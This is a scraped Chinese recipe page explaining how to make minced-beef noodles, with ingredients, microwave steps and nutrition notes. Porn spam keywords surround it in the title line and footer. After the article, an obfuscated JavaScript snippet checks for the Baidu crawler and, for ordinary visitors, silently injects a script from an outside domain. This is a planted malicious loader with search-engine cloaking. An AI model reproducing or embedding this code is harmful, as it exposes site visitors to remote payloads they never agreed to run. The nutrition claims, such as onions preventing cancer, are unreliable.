久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 飲食 > 食物營養 > 正文

美味肉蓉面做法和營養價值

2017-07-07 03:13:09  來源:360常識網   熱度:
導語:吃面食在我們國家很多地區都特別的重視,因為吃面時不但簡單,而且面食的營養價值也不錯,所以當前我們國家很多地區,為了能吃上正宗的美味

吃面食在我們國家很多地區都特別的重視,因為吃面時不但簡單,而且面食的營養價值也不錯,所以當前我們國家很多地區,為了能吃上正宗的美味肉蓉面,就想了解一下美味肉蓉面的做法和營養價值,為了你能盡快學會,也為了了解它的營養價值,看看下面的介紹吧。

肉蓉面是一道美味可口的漢族面食,面條易于消化吸收,有改善貧血、增強免疫力、平衡營養吸收等功效。將細條實心面放入沸水中,加蓋高火3分鐘,取出擱置5分鐘,瀝去水分。色拉油倒入盤內,高火2分鐘,放入洋蔥、芹菜、胡蘿卜、蒜泥爆香,再加入粉醬、牛肉、紹酒、香菜、黃油、精鹽及胡椒粉拌勻,高火1分鐘,然后倒在面上,高火1分鐘即可。

菜品特色

材:

細條實心面200克,牛肉糜400克,洋蔥粒1/3杯,芹菜粒1/2杯,胡蘿卜粒1/2杯。

調料:

蒜泥兩中匙,粉醬一杯,紹酒一大匙,香菜半小匙,黃油60克,色拉油三大匙,沸水五杯,精鹽一小匙,胡椒粉一小匙。

做法

①將細條實心面放入沸水中,加蓋高火3分鐘,取出擱置5分鐘,瀝去水分。

②色拉油倒入盤內,高火2分鐘,放入洋蔥、芹菜、胡蘿卜、蒜泥爆香,再加入粉醬、牛肉、紹酒、香菜、黃油、精鹽及胡椒粉拌勻,高火1分鐘,然后倒在面上,高火1分鐘即可。

營養價值

面條:面條易于消化吸收,有改善貧血、增強免疫力、平衡營養吸收等功效。

牛肉(肥瘦):牛肉富含豐富蛋白質,氨基酸組成比豬肉更接近人體需要,能提高機體抗病能力,對生長發育及術后,病后調養的人在補充失血、修復組織等方面特別適宜,寒冬食牛肉可暖胃,是該季節的補益佳品;牛肉有補中益氣,滋養脾胃,強健筋骨,化痰息風,止渴止涎之功效,適宜于中氣下隱、氣短體虛、筋骨酸軟、貧血久病及面黃目眩之人食用。

洋蔥:洋蔥是老百姓餐桌上最常見的食物,無論中餐還是西餐,洋蔥使用都非常普遍,洋蔥的營養及其豐富,特別是它的特殊功效更是成為食物原料中的佼佼者。洋蔥具有發散風寒、抵御流感、強效殺菌、增進食欲、促進消化、擴張血管、降血壓、預防血栓、降低血糖、防癌抗癌、清除自由基、防治骨質疏松癥和感冒;并且還可治療消化不良、食欲不振、食積內停等癥。

美味肉蓉面的做法和營養價值,相信通過以上內容的介紹,一定對美味肉蓉面有了更多的認識,也了解了它的做法以及它的營養價值,所以要想使得自己盡快能吃上這種美味,可以通過對以上的介紹了解,這樣就能使得自己盡快學會制作。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 日韩精品一区二区三区在线观看 | 一区二区免费在线播放 | 日本精品久久 | 亚洲精品一区二区三区麻豆 | 在线视频这里只有精品 | 四虎新网站 | 国产极品91| 成人不卡一区二区 | 日本一区二区在线看 | 男女黄色免费网站 | 久久久久99999 | 北条麻妃一区二区三区在线观看 | 精品欧美一区二区三区久久久 | 中文成人在线 | 成人欧美一区二区三区在线播放 | 欧美一性一乱一交 | 五月婷婷国产 | 成人在线国产精品 | 综合一区二区三区 | 精久久久 | 一级一级毛片 | 男人操女人bb | 91视频日韩 | 欧美色图网站 | 在线视频亚洲 | 精品一区二区视频 | 欧美日韩午夜精品 | 99精品网站 | 成人区精品一区二区婷婷 | 国产视频中文字幕 | 欧美日韩亚洲视频 | 午夜一区二区在线观看 | 欧美激情欧美激情在线五月 | 国产精品久久久久国产a级 久久国产精品精品 | 天天狠天天天天透在线 | 亚洲一区二区中文 | 欧美一级欧美三级在线观看 | 国产精品成人一区二区三区夜夜夜 | 国产免费av网站 | 成人欧美一区二区三区 | 精品一区不卡 |